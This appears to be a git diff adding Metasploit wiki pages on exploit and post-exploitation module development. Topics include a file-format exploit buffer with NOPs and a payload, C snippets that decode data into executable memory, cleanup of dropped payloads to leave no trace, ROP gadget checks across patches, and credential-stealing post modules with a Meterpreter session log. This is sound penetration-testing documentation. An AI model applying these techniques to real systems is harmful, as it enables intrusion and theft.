creation to the database in the format of ```#{ltype}.localpath```, and the file will always be written to Metasploit's local directory defined in ```Msf::Config.local_directory``` (by default this path is ```~/.msf4/local```), which keep files nice and organized. + +To use the mixin, first include ```Msf::Exploit::FILEFORMAT``` under the scope of your ```Metasploit3``` class: + +```ruby +include Msf::Exploit::FILEFORMAT +``` + +And here's an example of using ```file_create``` to build an imaginary exploit: + +```ruby +# This is my imaginary exploit +buf = "" +buf << "A" * 1024 +buf << [0x40201f01].pack("V") +buf << "\x90" * 10 +buf << payload.encoded + +file_create(buf) +``` + +### Custom filename + +The ```Msf::Exploit::FILENAME``` mixin by default has a registered ```FILENAME``` datastore option, and it is actually optional. If there's no filename provided, the mixin will set the name in this format: ```"exploit.fileformat.#{self.shortname}"```, where ```self.shortname``` means the shorter version of the module name. + +If you wish to set a default one (but still changeable by the user), then you simply register it again in the module, like this: + +```ruby +register_options( + [ + OptString.new('FILENAME', [true, 'The malicious file name', 'msf.jpg']) + ], self.class) +``` + +### Fixed filename + +Occasionally, you might not want your user to change the filename at all. A lazy trick to do that is by modifying the ```FILENAME``` datastore option at runtime, but this is very much not recommended. In fact, if you do this, you will not pass [msftidy](https://github.com/rapid7/metasploit-framework/wiki/Guidelines-for-Accepting-Modules-and-Enhancements#module-additions). Instead, here's how it's done properly: + +1 - Deregister the ```FILENAME``` option + +```ruby +deregister_options('FILENAME') +``` + +2 - Next, override the ```file_format_filename``` method, and make it return the filename you want: + +```ruby +def file_format_filename + 'something.jpg' +end +``` + +3 - Finally, please leave a note about this in the module description. + +### References + +- +- diff --git a/metasploit-framework.wiki/How-to-XOR-with-Metasploit-Framework-Compiler.md b/metasploit-framework.wiki/How-to-XOR-with-Metasploit-Framework-Compiler.md new file mode 100644 index 000000000000..c3c76b1563bc --- /dev/null +++ b/metasploit-framework.wiki/How-to-XOR-with-Metasploit-Framework-Compiler.md @@ -0,0 +1,23 @@ +# How to XOR with Metasploit::Framework::Compiler + +The Metasploit C compiler has built-in support for XOR encoding and decoding, which is implemented as the `xor.h` header. + +# Code Example + +```c +#include +#include +#include + +int main(int args, char** argv) { + char* xorStr = "NNNN"; + char xorKey = 0x0f; + LPVOID lpBuf = VirtualAlloc(NULL, sizeof(int) * strlen(xorStr), MEM_COMMIT, PAGE_EXECUTE_READWRITE); + memset(lpBuf, '\0', strlen(xorStr)); + xor((char*) lpBuf, xorStr, xorKey, strlen(xorStr)); + MessageBox(NULL, lpBuf, "Test", MB_OK); + return 0; +} +``` + +To compile, use [[Metasploit::Framework::Compiler::Windows.compile_c|How to use Metasploit Framework Compiler Windows to compile C code]] \ No newline at end of file diff --git a/metasploit-framework.wiki/How-to-add-and-update-gems-in-metasploit-framework.md b/metasploit-framework.wiki/How-to-add-and-update-gems-in-metasploit-framework.md new file mode 100644 index 000000000000..11a39da18602 --- /dev/null +++ b/metasploit-framework.wiki/How-to-add-and-update-gems-in-metasploit-framework.md @@ -0,0 +1,44 @@ +**Update:** We have automated this process (it runs every Thursday at noon US Central Time), and 99.9% of the time you will not need to follow any of the below steps. That said, if you need to update a gem in a PR, this is still a good procedure to follow. + +Sometimes you might want to pull in a new Ruby library or update an existing one to get more functionality. Metasploit leverages [Bundler](http://bundler.io) to manage [Ruby gems](https://rubygems.org/) and make dependencies easy. This document goes over the things you need to know when updating or adding gems to Metasploit. + +##### The Gemfile + +Gems that are only *sometimes* used (say, only in test mode, or only when running with a database) are listed in a relevant Bundler group (`test` or `db` respectively) in the [root Gemfile](https://github.com/rapid7/metasploit-framework/blob/master/Gemfile). + +##### The metasploit-framework.gemspec file + +Gems that are *always needed* by Metasploit are kept in the [metasploit-framework.gemspec](https://github.com/rapid7/metasploit-framework/blob/master/metasploit-framework.gemspec) file (this file is actually pulled into the Gemfile when calculating dependencies). + +##### The Lock File + +The [Gemfile.lock file](https://github.com/rapid7/metasploit-framework/blob/master/Gemfile.lock) holds the absolute versions of the Gems we want and keeps track of all the subdependencies. You should never need to manually edit this file: bundler will do it for you when you run `bundle install` after adding a gem. We keep this committed in the repo to ensure that all users are always on the same gem versions. + +##### Updating or adding a gem + +If the gem is needed only for a specific Bundler group (like `test` or `db`), you should update the [Gemfile](https://github.com/rapid7/metasploit-framework/blob/master/Gemfile): + +1. Add the Gem you want to the correct Group, or just update the version constraint. Check [Bundler's docs](http://bundler.io/gemfile.html) for the various ways to express version constraints: + + gem 'my_favorite', '~> 1.0' + +2. Run `bundle install` +3. Commit any changes to the `Gemfile.lock` file + +If the gem is needed any time metasploit-framework is used, you should update the [metasploit-framework.gemspec](https://github.com/rapid7/metasploit-framework/blob/master/metasploit-framework.gemspec) file: + +1. Add the gem as a runtime dependency, or just update the version constraint. Check [Bundler's docs](http://bundler.io/gemfile.html) for the various ways to express version constraints: + + spec.add_runtime_dependency 'my_favorite_gem', '~> 3.0.1' + +2. Run `bundle install` +3. Commit any changes to the `Gemfile.lock` file. + +##### Gemfile.local + +A Gemfile.local file is useful for adding temporary gems to the metasploit-framework, like pry-stack-explorer or other handy debugging libs; you don't want to commit these gems into the repo, but might need them from time to time. To use a Gemfile.local file: + +1. Rename the [Gemfile.local.example](https://github.com/rapid7/metasploit-framework/blob/master/Gemfile.local.example) file in the repo root to `Gemfile.local` +2. Add the temporary gems you want to this file +3. Run `bundle install` +4. Make sure you _do not_ commit the Gemfile.lock: `git checkout -- Gemfile.lock` \ No newline at end of file diff --git a/metasploit-framework.wiki/How-to-check-Microsoft-patch-levels-for-your-exploit.md b/metasploit-framework.wiki/How-to-check-Microsoft-patch-levels-for-your-exploit.md new file mode 100644 index 000000000000..3193d3f2f5da --- /dev/null +++ b/metasploit-framework.wiki/How-to-check-Microsoft-patch-levels-for-your-exploit.md @@ -0,0 +1,50 @@ +Checking patch levels is an important task for vulnerability research or exploit development. As a bug-hunting kind of guy, you should care about patch levels because say you have an 0day for Internet Explorer 10, you can't always assume it affects all IE 10 builds since its debut (2012). If you realize your 0day only affects one or two builds, how much of a threat is it? Probably not as bad as you think. + +If you're an exploit developer, you're checking patches for another reason: maximum reliability. There are a lot of ways your exploit can fail, a bad [gadget](https://en.wikipedia.org/wiki/Return-oriented_programming) due to a change by a system update is easily one of them. If this update occurred at a pretty early stage, chances are your exploit will fail a lot, too. + +## How to collect Microsoft patches + +If you're kind of hardcore with patch diffing, you probably maintain your own database of DLLs. But this may require a lot of disk space, for most people it's probably not worth it unless you have to look at these DLLs pretty much everyday. A more economic way is probably have a way to track all these patches, and have some sort of interface to allow quick and easy access to them. + +Luckily, Microsoft maintains a list of all the patches in an Excel file that you can download here: + +[https://www.microsoft.com/en-us/download/confirmation.aspx?id=36982](https://www.microsoft.com/en-us/download/confirmation.aspx?id=36982) + +If you prefer some sort of GUI for searching, you can use Microsoft's [Security Update Guide](https://portal.msrc.microsoft.com/en-us/security-guidance). You can edit this dashboard to add specific filters, such as the Windows version, Internet Explorer version, Office, etc, etc. + +For example, if I want to find all the Internet Explorer 10 patches for Windows 7 since its debut, I can add the following filters: + +* Windows 7 +* Internet Explorer + +And then I sort by date from September 2012 to 2014, I get: 22 results. But of course, this number will go up because IE 10 is still supported. + +There are also other desktop or command-line tools that will basically check missing patches for your Windows system, such as [Windows Update Powershell Module](https://gallery.technet.microsoft.com/scriptcenter/2d191bcd-3308-4edd-9de2-88dff796b0bc), in some cases this may work better. + +## Patch extraction + +* Old patches used to be packaged as EXEs, and this kind can be extracted by using decompression tools such as [7zip](https://www.7-zip.org/). Internet Explorer 6 patches, for example, can be extracted this way. + +* Newer patches packaged as EXEs support the /X flag for extraction. For example, the following will extract the patch under the same directory. Patches such as Internet Explorer 8 (for XP) can be extracted this way. + +``` +Windows[Something]-KB[Something]-x86-ENU.exe /X:. +``` + +* Most patches nowadays are packaged as MSUs. Here's what you have to do: + +1. Put all your *.msu files under the same directory (in Windows) +2. Run [tools/exploit/extract_msu.bat](https://github.com/rapid7/metasploit-framework/blob/master/tools/exploit/extract_msu.bat) [absolute directory path to *.msu files) +3. extract_msu.bat should automatically extract all the *.msu files. The "extracted" sub-directory in each new folder is where you can find the updated components. + +Note: The update folders might be labeled as GDR or QRE. GDR indicates Generation Distribution Release, while QRE means Quick Fix Engineering. + +## Checking gadgets in patches + +The quickest way to check gadgets across different patches is by using Metasploit's msfpescan utility (or msfbinscan, which is smart enough to know it's PE format). It's really easy, all you have to do is put the DLLs in the same directory, and then do: + +``` +$ ./msfbinscan -D -a [address] -A 10 /patches/*.dll +``` + +What that does is the tool will disassemble all the DLLs under that directory, at that specific address for 10 bytes. You can probably automate a little more to quickly identify which DLLs don't have right gadget, and if that's the case for you, that means the gadget you're using is unsafe. You should find another one that's more reliable. diff --git a/metasploit-framework.wiki/How-to-clean-up-files-using-FileDropper.md b/metasploit-framework.wiki/How-to-clean-up-files-using-FileDropper.md new file mode 100644 index 000000000000..589cbc3835ee --- /dev/null +++ b/metasploit-framework.wiki/How-to-clean-up-files-using-FileDropper.md @@ -0,0 +1,38 @@ +## On this page + +* [Examples](#examples) +* [Reference](#reference) + +In some exploitation scenarios such as local privilege escalation, command execution, write privilege attacks, SQL Injections, etc, it is very likely that you have to upload one or more malicious files in order to gain control of the target machine. Well, a smart attacker shouldn't leave anything behind, so if a module needs to drop something onto the file system, it's important to remove it right after the purpose is served. And that is why we created the FileDropper mixin. + +## Examples + +The FileDropper mixin is a file manager that allows you to keep track of files, and then delete them when a session is created. To use it, first include the mixin: + +```ruby +include Msf::Exploit::FileDropper +``` + +Next, tell the FileDropper mixin where the file is going to be after a session is created by using the ```register_file_for_cleanup``` method. Each file name should either be a full path or relative to the current working directory of the session. For example, if I want to upload a payload to the target machine's remote path: ```C:\Windows\System32\payload.exe```, then my statement can be: + +```ruby +register_file_for_cleanup("C:\\Windows\\System32\\payload.exe") +``` + +If my session's current directory is already in ```C:\Windows\System32\```, then you can: + +```ruby +register_file_for_cleanup("payload.exe") +``` + +If you wish to register multiple files, you can also provide the file names as arguments: + +```ruby +register_file_for_cleanup("file_1.vbs", "file_2.exe", "file_1.conf") +``` + +Note that if your exploit module uses ```on_new_session```, you are actually overriding FileDropper's ```on_new_session```. + +## Reference + +- diff --git a/metasploit-framework.wiki/How-to-decode-Base64-with-Metasploit-Framework-Compiler.md b/metasploit-framework.wiki/How-to-decode-Base64-with-Metasploit-Framework-Compiler.md new file mode 100644 index 000000000000..08f515ae9395 --- /dev/null +++ b/metasploit-framework.wiki/How-to-decode-Base64-with-Metasploit-Framework-Compiler.md @@ -0,0 +1,27 @@ +# Description + +## How to decode Base64 with Metasploit::Framework::Compiler + +The Metasploit C compiler has built-in support for Base64 encoding and decoding, which is implemented as `base64.h`. + +# Code Example + +```c +#include +#include +#include + +// "Hello World" encoded by Rex::Text.encode_base64() +#define BASE64STR "aGVsbG8gd29ybGQ=" + +int main() { + int base64StrLen = strlen(BASE64STR); + LPVOID lpBuf = VirtualAlloc(NULL, sizeof(int) * base64StrLen, MEM_COMMIT, PAGE_EXECUTE_READWRITE); + memset(lpBuf, '\0', base64StrLen); + base64decode(lpBuf, BASE64STR, base64StrLen); + MessageBox(NULL, (char*) lpBuf, "Base64 Test", MB_OK); + return 0; +} +``` + +To compile, use [[How to use Metasploit::Framework::Compiler::Windows to compile C code|How to use Metasploit Framework Compiler Windows to compile C code]] \ No newline at end of file diff --git a/metasploit-framework.wiki/How-to-decrypt-RC4-with-Metasploit-Framework-Compiler.md b/metasploit-framework.wiki/How-to-decrypt-RC4-with-Metasploit-Framework-Compiler.md new file mode 100644 index 000000000000..9ea62934e367 --- /dev/null +++ b/metasploit-framework.wiki/How-to-decrypt-RC4-with-Metasploit-Framework-Compiler.md @@ -0,0 +1,25 @@ +# How to decrypt RC4 with Metasploit::Framework::Compiler + +The Metasploit C compiler has built-in support for RC4 encryption and decryption, which is implemented as the `rc4.h` header. + +# Code Example + +```c +#include +#include + +#define PAYLOADSIZE 12 +#define RC4KEY "4ASMkFslyhwXehNZw048cF1Vh1ACzyyA" + +int main(void) { + unsigned char payload[] = "\xd8\xb0\xe9\x5a\x89\xc2\xee\x43\xb9\x30\xd0\x86"; + int lpBufSize = sizeof(int) * PAYLOADSIZE; + LPVOID lpBuf = VirtualAlloc(NULL, lpBufSize, MEM_COMMIT, 0x04); + memset(lpBuf, '\0', lpBufSize); + RC4(RC4KEY, payload, (char*) lpBuf, PAYLOADSIZE); + MessageBox(NULL, (char*) lpBuf, "Test", MB_OK); + return 0; +} +``` + +To compile, use [[Metasploit::Framework::Compiler::Windows.compile_c|How to use Metasploit Framework Compiler Windows to compile C code]]. \ No newline at end of file diff --git a/metasploit-framework.wiki/How-to-deprecate-a-Metasploit-module.md b/metasploit-framework.wiki/How-to-deprecate-a-Metasploit-module.md new file mode 100644 index 000000000000..a68653252a8c --- /dev/null +++ b/metasploit-framework.wiki/How-to-deprecate-a-Metasploit-module.md @@ -0,0 +1,80 @@ +Metasploit has a very specific way to deprecate a module. To do so, you must be using the [Msf::Module::Deprecated](https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/module/deprecated.rb) mixin. The reason you must be using this mixin is because two things: + +1. You are required to set a deprecation date. That way we know when to remove it, which is done manually. +2. You are optionally allowed to set a replacement of the module you wish to deprecate. + +## Usage + +To use the ```Msf::Module::Deprecated```, here's how: + +1 - Under ```class MetasploitModule``` of your module, include the following: + +```ruby +include Msf::Module::Deprecated +``` + +2a - When moving a module, use the ```moved_from``` method in the new module to add an alias to the old module name: + +```ruby +moved_from 'auxiliary/analyze/jtr_windows_fast' +``` + +2b - Use the ```deprecated``` method to assign a deprecation date and replacement module: + +```ruby +deprecated(Date.new(2014, 9, 21), 'exploit/linux/http/dlink_upnp_exec_noauth') +``` + +2c - Alternatively, define the ```DEPRECATION_DATE``` and ```DEPRECATION_REPLACEMENT``` constants: + +```ruby +DEPRECATION_DATE = Date.new(2014, 9, 21) # Sep 21 +# The new module is exploit/linux/http/dlink_upnp_exec_noauth +DEPRECATION_REPLACEMENT = 'exploit/linux/http/dlink_upnp_exec_noauth' +``` + +When the user loads that module, they should see a warning like this: + +``` +msf > use exploit/windows/misc/test + +[!] ************************************************************************ +[!] * The module windows/misc/test is deprecated! * +[!] * It will be removed on or about 2014-09-21 * +[!] * Use exploit/linux/http/dlink_upnp_exec_noauth instead * +[!] ************************************************************************ +``` + +## Code example + +```ruby +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Module::Deprecated + + deprecated(Date.new(2014, 9, 21), 'exploit/linux/http/dlink_upnp_exec_noauth') + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Msf::Module::Deprecated Example', + 'Description' => %q{ + This shows how to use Msf::Module::Deprecated. + }, + 'Author' => [ 'sinn3r' ], + 'License' => MSF_LICENSE, + 'References' => [ [ 'URL', 'http://metasploit.com' ] ], + 'DisclosureDate' => 'Apr 01 2014', + 'Targets' => [ [ 'Automatic', { } ] ], + 'DefaultTarget' => 0 + )) + end + + def exploit + print_debug("Code example") + end + +end +``` \ No newline at end of file diff --git a/metasploit-framework.wiki/How-to-do-reporting-or-store-data-in-module-development.md b/metasploit-framework.wiki/How-to-do-reporting-or-store-data-in-module-development.md new file mode 100644 index 000000000000..5bc1a94647a2 --- /dev/null +++ b/metasploit-framework.wiki/How-to-do-reporting-or-store-data-in-module-development.md @@ -0,0 +1,28 @@ +* **store_loot()** - Used to store both stolen files (both text and binary) and "screencaps" of commands such as a ```ps -ef``` and ```ifconfig```. The file itself need not be of forensic-level integrity -- they may be parsed by a post module to extract only the relevant information for a penetration tester. + +* **report_auth_info()** - Used to store working credentials that are immediately reusable by another module. For example, a module dumping the local SMB hashes would use this, as would a module which reads username:password combinations for a specific host and service. Specifically, merely "likely" usernames and passwords should use store_loot() instead. + +* **report_vuln()** - Auxiliary and post modules that exercise a particular vulnerability should report_vuln() upon success. Note that exploit modules automatically report_vuln() as part of opening a session (there is no need to call it especially). + +* **report_note()** - Modules should make an effort to avoid report_note() when one of the above methods would be a better fit, but there are often cases where "loot" or "cred" or "vuln" classifications are not immediately appropriate. report_note() calls should always set a OID-style dotted :type, such as domain.hosts, so other modules may easily find them in the database. + +* **report_host()** - Reports a host's liveness and attributes such as operating system and service pack. This is less common because other reporting methods already do this, such as ```report_service```, ```report_exploit_success```, ```report_client```, ```report_note```, ```report_host_tag```, ```report_vuln```, ```report_event```, ```report_loot```, etc. Try not to repeat it. + +* **report_service()** - Reports a new service (port) that's been detected by your module. + +* **report_client()** - Reports a client running a host, such as a web browser. + +* **report_web_site()** - Reports a website, and must be tied to an existing ```:service```. If there is no ```:service```, you will have to supply ```:host```, ```:port```, ```:ssl```. + +* **report_web_page()** - You can use this if your module discovers a webpage that look interesting. + +* **report_web_form()** - You can use this if your module discovers web forms that look interesting. + +* **report_web_vuln()** - Reports a web application vulnerability. Exploits don't really need to use this. It's more suitable for auxiliary modules that exploit a bug that determines that it is vulnerable. + +* **report_loot()** - Very rarely, modules might actually want to export loots without using store_loot(). Typically they do this with Ruby's file IO, but this won't be logged in the database so can't be tracked by Metasploit Framework. In that case, a ```report_loot()``` is needed. However, 99.9% of the time you should be using ```store_loot()```. + +### References + +- [[Guidelines for Accepting Modules and Enhancements]] +- diff --git a/metasploit-framework.wiki/How-to-get-Oracle-Support-working-with-Kali-Linux.md b/metasploit-framework.wiki/How-to-get-Oracle-Support-working-with-Kali-Linux.md new file mode 100644 index 000000000000..23b217bbd2a1 --- /dev/null +++ b/metasploit-framework.wiki/How-to-get-Oracle-Support-working-with-Kali-Linux.md @@ -0,0 +1,162 @@ +This is an update of the original blog post about how to get Oracle support working with Metasploit and Kali Linux, found [here](https://leonjza.github.io/blog/2014/08/17/kali-linux-oracle-support/). + +Due to licensing issues, we cannot ship Oracle's proprietary client access libraries by default. As a result, you may see this error when running a Metasploit module: + +``` +msf auxiliary(oracle_login) > run + +[-] Failed to load the OCI library: cannot load such file -- oci8 +[-] See http://www.metasploit.com/redmine/projects/framework/wiki/OracleUsage for installation instructions +[*] Auxiliary module execution completed +msf auxiliary(oracle_login) > run +``` +or +``` +msf5 auxiliary(scanner/oracle/oracle_hashdump) > run + +[-] Failed to load the OCI library: cannot load such file -- oci8 +[-] Try 'gem install ruby-oci8' +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` + +The general steps to getting Oracle support working are to install the Oracle Instant Client and development libraries, install the required dependencies for Kali Linux, then install the gem. + +## Install the Oracle Instant Client +As root, create the directory `/opt/oracle`. Then download the [Oracle Instant Client](http://www.oracle.com/technetwork/database/features/instant-client/index-097480.html) packages for your version of Kali Linux. The packages you will need are: + +* instantclient-basic-linux-12.2.0.1.0.zip +* instantclient-sqlplus-linux-12.2.0.1.0.zip +* instantclient-sdk-linux-12.2.0.1.0.zip + +Unzip these under `/opt/oracle`, and you should now have a path called `/opt/oracle/instantclient_12_2/`. Next symlink the shared library that we need to access the library from oracle: + +``` +root@kali:/opt/oracle/instantclient_12_2# ln libclntsh.so.12.1 libclntsh.so + +root@kali:/opt/oracle/instantclient_12_2# ls -lh libclntsh.so +lrwxrwxrwx 1 root root 17 Jun 1 15:41 libclntsh.so -> libclntsh.so.12.1 +``` + +You also need to configure the appropriate environment variables, perhaps by inserting them into your .bashrc file, logging out and back in for them to apply. + +``` +export PATH=$PATH:/opt/oracle/instantclient_12_2 +export SQLPATH=/opt/oracle/instantclient_12_2 +export TNS_ADMIN=/opt/oracle/instantclient_12_2 +export LD_LIBRARY_PATH=/opt/oracle/instantclient_12_2 +export ORACLE_HOME=/opt/oracle/instantclient_12_2 +``` + +If you have succeeded, you should be able to run `sqlplus` from a command prompt: +``` +root@kali:/opt/oracle/instantclient_12_2# sqlplus + +SQL*Plus: Release 12.2.0.1.0 Production on Tue Mar 26 20:40:24 2019 + +Copyright (c) 1982, 2016, Oracle. All rights reserved. + +Enter user-name: +``` + +## Install the ruby gem + +First, download and extract the gem source release: + +``` +root@kali:~# wget https://github.com/kubo/ruby-oci8/archive/ruby-oci8-2.2.7.zip +--2019-03-26 20:31:11-- https://github.com/kubo/ruby-oci8/archive/ruby-oci8-2.2.7.zip +Resolving github.com (github.com)... 192.30.253.113, 192.30.253.112 +Connecting to github.com (github.com)|192.30.253.113|:443... connected. +HTTP request sent, awaiting response... 302 Found +Location: https://codeload.github.com/kubo/ruby-oci8/zip/ruby-oci8-2.2.7 [following] +--2019-03-26 20:31:11-- https://codeload.github.com/kubo/ruby-oci8/zip/ruby-oci8-2.2.7 +Resolving codeload.github.com (codeload.github.com)... 192.30.253.120, 192.30.253.121 +Connecting to codeload.github.com (codeload.github.com)|192.30.253.120|:443... connected. +HTTP request sent, awaiting response... 200 OK +Length: unspecified [application/zip] +Saving to: 'ruby-oci8-2.2.7.zip' + +ruby-oci8-2.2.7.zip [ <=> ] 376.97K 2.36MB/s in 0.2s + +2019-03-26 20:31:11 (2.36 MB/s) - 'ruby-oci8-2.2.7.zip' saved [386016] + +root@kali:~# unzip ruby-oci8-2.2.7.zip +Archive: ruby-oci8-2.2.7.zip +0c85bf6da2f541de3236267b1a1b18f0136a8f5a + creating: ruby-oci8-ruby-oci8-2.2.7/ + inflating: ruby-oci8-ruby-oci8-2.2.7/.gitignore + inflating: ruby-oci8-ruby-oci8-2.2.7/.travis.yml +[...] + inflating: ruby-oci8-ruby-oci8-2.2.7/test/test_rowid.rb +root@kali:~# cd ruby-oci8-ruby-oci8-2.2.7/ +``` + +Install libgmp (needed to build the gem) and set the path to prefer the correct version of ruby so that Metasploit can use it. + +``` +root@kali:~/ruby-oci8-ruby-oci8-2.2.7# export PATH=/opt/metasploit/ruby/bin:$PATH + +root@kali:~/ruby-oci8-ruby-oci8-2.2.7# apt-get install libgmp-dev +Reading package lists... Done +Building dependency tree +Reading state information... Done +Suggested packages: + libgmp10-doc libmpfr-dev +The following NEW packages will be installed: + libgmp-dev +0 upgraded, 1 newly installed, 0 to remove and 0 not upgraded. +Need to get 0 B/610 kB of archives. +After this operation, 1,740 kB of additional disk space will be used. +Selecting previously unselected package libgmp-dev:amd64. +(Reading database ... 322643 files and directories currently installed.) +Unpacking libgmp-dev:amd64 (from .../libgmp-dev_2%3a5.0.5+dfsg-2_amd64.deb) ... +Setting up libgmp-dev:amd64 (2:5.0.5+dfsg-2) ... +``` + +Build and install the gem + +``` +root@kali:~/ruby-oci8-ruby-oci8-2.2.7# make +ruby -w setup.rb config +setup.rb:280: warning: assigned but unused variable - vname +setup.rb:280: warning: assigned but unused variable - desc +setup.rb:280: warning: assigned but unused variable - default2 +---> lib +---> lib/dbd +<--- lib/dbd +---> lib/oci8 +<--- lib/oci8 +<--- lib +---> ext +---> ext/oci8 +/opt/metasploit/ruby/bin/ruby /root/ruby-oci8-ruby-oci8-2.2.7/ext/oci8/extconf.rb +checking for load library path... + LD_LIBRARY_PATH... + checking /opt/metasploit/ruby/lib... no + checking /opt/oracle/instantclient_12_2... yes + /opt/oracle/instantclient_12_2/libclntsh.so.12.1 looks like an instant client. +checking for cc... ok +checking for gcc... yes +checking for LP64... yes +checking for sys/types.h... yes +checking for ruby header... ok +checking for OCIInitialize() in oci.h... yes +[...] +linking shared-object oci8lib_250.so +make[1]: Leaving directory `/root/ruby-oci8-ruby-oci8-2.2.7/ext/oci8' +<--- ext/oci8 +<--- ext + +root@kali:~/ruby-oci8-ruby-oci8-2.2.7# make install +ruby -w setup.rb install +setup.rb:280: warning: assigned but unused variable - vname +setup.rb:280: warning: assigned but unused variable - desc +setup.rb:280: warning: assigned but unused variable - default2 +---> lib +mkdir -p /opt/metasploit/ruby/lib/ruby/site_ruby/2.5.0/ +install oci8.rb /opt/metasploit/ruby/lib/ruby/site_ruby/2.5.0/ +[...] +<--- ext +root@kali:~/ruby-oci8-ruby-oci8-2.2.7# +``` \ No newline at end of file diff --git a/metasploit-framework.wiki/How-to-get-started-with-writing-a-Meterpreter-script.md b/metasploit-framework.wiki/How-to-get-started-with-writing-a-Meterpreter-script.md new file mode 100644 index 000000000000..75b3eeffb4df --- /dev/null +++ b/metasploit-framework.wiki/How-to-get-started-with-writing-a-Meterpreter-script.md @@ -0,0 +1,5 @@ +![](http://33.media.tumblr.com/c401d059691518419b0252fdf17db7f1/tumblr_mgp6xbbCHl1rhtx24o1_250.gif) + +I tricked you. We don't let anybody write Meterpreter scripts anymore, therefore we will no longer teach you how. + +[You should try writing post modules instead](https://github.com/rapid7/metasploit-framework/wiki/How-to-get-started-with-writing-a-post-module). \ No newline at end of file diff --git a/metasploit-framework.wiki/How-to-get-started-with-writing-a-post-module.md b/metasploit-framework.wiki/How-to-get-started-with-writing-a-post-module.md new file mode 100644 index 000000000000..4f8802aa6a37 --- /dev/null +++ b/metasploit-framework.wiki/How-to-get-started-with-writing-a-post-module.md @@ -0,0 +1,177 @@ +Post module development is a challenge to your programming skills. It's not like writing a memory corruption based exploit, where technically speaking is usually about crafting a malicious input - a string. A post module is more about proper module design, practical knowledge in Ruby and the Metasploit library. It's also a very valuable skill to have, because if you don't know what to do after popping a shell, what's the point of the penetration test, right? Also, what if a module doesn't work? Are you willing to wait days, weeks, or maybe even months for someone else to fix it for you? Probably not. If you know how to do it yourself, you can probably fix it a lot sooner, and continue with your pentest and do more things. So learn post module development! It's good for you, and your career. + +## Plan your module + +Just like writing a software, before you start coding you should have a clear and specific goal for what your post module does. It's never a good idea to have multiple functionalities in a single module. For example: having it steal the network configuration files, steal passwd, hashes, shell history, etc. Instead, you should break it down into multiple modules. + +You should also think about what session types to support: meterpreter, or shell. Ideally, support both. But if you have to choose between the two, on Windows you should favor Windows Meterpreter. On Linux, the shell session type has been a stronger candidate than the Linux Meterpreter, but hopefully this will change in the near future. For platforms that don't have a Meterpreter, obviously your only choice is a shell. + +Another important thing is to think about how your module will perform on different distributions/systems. For example, say you want to run a ```ifconfig``` command on Linux. On Ubuntu it's a no-brainer, simply run the ```ifconfig``` command. Well, a different Linux distro might not actually know what you're asking, so you have to be more specific and do ```/sbin/ifconfig``` instead. Same thing with Windows. Is it ```C:\WINDOWS\``` or ```C:\WinNT```? It's both. Is it ```C:\Documents and Settings\[User name]```, or ```C:\Users\[User name]```? Both, depends on that Windows version. A better solution to that would be use an environment variable :-) + +Always do your homework, and contain as many scenarios you can think of. And most importantly, get your VMs and TEST! + +### Categories of post modules + +Post modules are categorized based on their behavior. For example, if it collects data, naturally it goes to the "gather" category. If it adds/updates/or removes an user, it belongs to "manage". Here's a list as a reference: + +| Category | Description | +| -------- | ----------- | +| **gather** | Modules that involve data gathering/collecting/enumeration. | +| **gather/credentials** | Modules that steal credentials. | +| **gather/forensics** | Modules that involve forensics data gathering. | +| **manage** | Modules that modifies/operates/manipulates something on the system. Session management related tasks such as migration, injection also go here. | +| **recon** | Modules that will help you learn more about the system in terms of reconnaissance, but not about data stealing. Understand this is not the same as "gather" type modules. | +| **wlan** | Modules that are for WLAN related tasks. | +| **escalate** | This is deprecated, but the modules remain there due to popularity. This used to be the place for privilege escalation modules. All privilege escalation modules are no longer considered as post modules, they're now exploits. | +| **capture** | Modules that involve monitoring something for data collection. For example: key logging. | + + +### Session object + +So you know how in Lord of the Rings, people are totally obsessed with the One Ring? Well, that's how it is with the session object. The one object you cannot live without, it's your precious. All post modules and other related mixins basically are built on top of the session object, because it knows everything about the compromised host, and allows you to command it. + +You can use the ```session``` method to access the session object, or its alias ```client```. The best way to interact with one is via irb, here's an example of how: + +``` +msf exploit(handler) > run + +[*] Started reverse handler on 192.168.1.64:4444 +[*] Starting the payload handler... +[*] Sending stage (769536 bytes) to 192.168.1.106 +[*] Meterpreter session 1 opened (192.168.1.64:4444 -> 192.168.1.106:55157) at 2014-07-31 17:59:36 -0500 + +meterpreter > irb +[*] Starting IRB shell +[*] The 'client' variable holds the meterpreter client + +>> session.class +=> Msf::Sessions::Meterpreter_x86_Win +``` + +At this point you have the power to rule them all. But notice that the above example is a ```Msf::Sessions::Meterpreter_x86_Win``` object. There are actually several more different ones: command_shell.rb, meterpreter_php.rb, meterpreter_java.rb, meterpreter_x86_linux.rb, etc. Each behaves differently so it's actually kind of difficult to explain them all, but they are defined in the [lib/msf/base/sessions/](https://github.com/rapid7/metasploit-framework/tree/master/lib/msf/base/sessions) directory so you can see how they work. Or you can play with one since you're already in the irb prompt. + +In Ruby, there are two object methods that are handy for debugging purposes. The first is ```methods```, which will list all the public and protected methods from that object: + +```ruby +session.methods +``` + +The other one is ```inspect```, which returns a string of a human-readable representation of the object: + +```ruby +session.inspect +``` + +You can also look at [other current post modules](https://github.com/rapid7/metasploit-framework/tree/master/modules/post) and see how they use their session object. + +### The Msf::Post Mixin + +As we explained, most post module mixins are built on top of the session object, and there are many out there. However, there is a main one you obviously cannot live without: the ```Msf::Post``` mixin. When you create a post module with this mixin, a lot of other mixins are also already included for all kinds of scenarios, to be more specific: + +* **[msf/core/post/common](https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/post/common.rb)** - Common methods post modules use, for example: ```cmd_exec```. +* **[msf/core/post_mixin](https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/post_mixin.rb)** - Keeps track of the session state. +* **[msf/core/post/file](https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/post/file.rb)** - File system related methods. +* **[msf/core/post/webrtc](https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/post/webrtc.rb)** - Uses WebRTC to interact with the target machine's webcam. +* **[msf/core/post/linux](https://github.com/rapid7/metasploit-framework/tree/master/lib/msf/core/post/linux)** - There actually isn't a lot going on, just ```get_sysinfo``` and ```is_root?``` specifically for Linux. +* **[msf/core/post/osx](https://github.com/rapid7/metasploit-framework/tree/master/lib/msf/core/post/osx)** - ```get_sysinfo```, ```get_users```, ```get_system_accounts```, ```get_groups```, and methods for operating the target 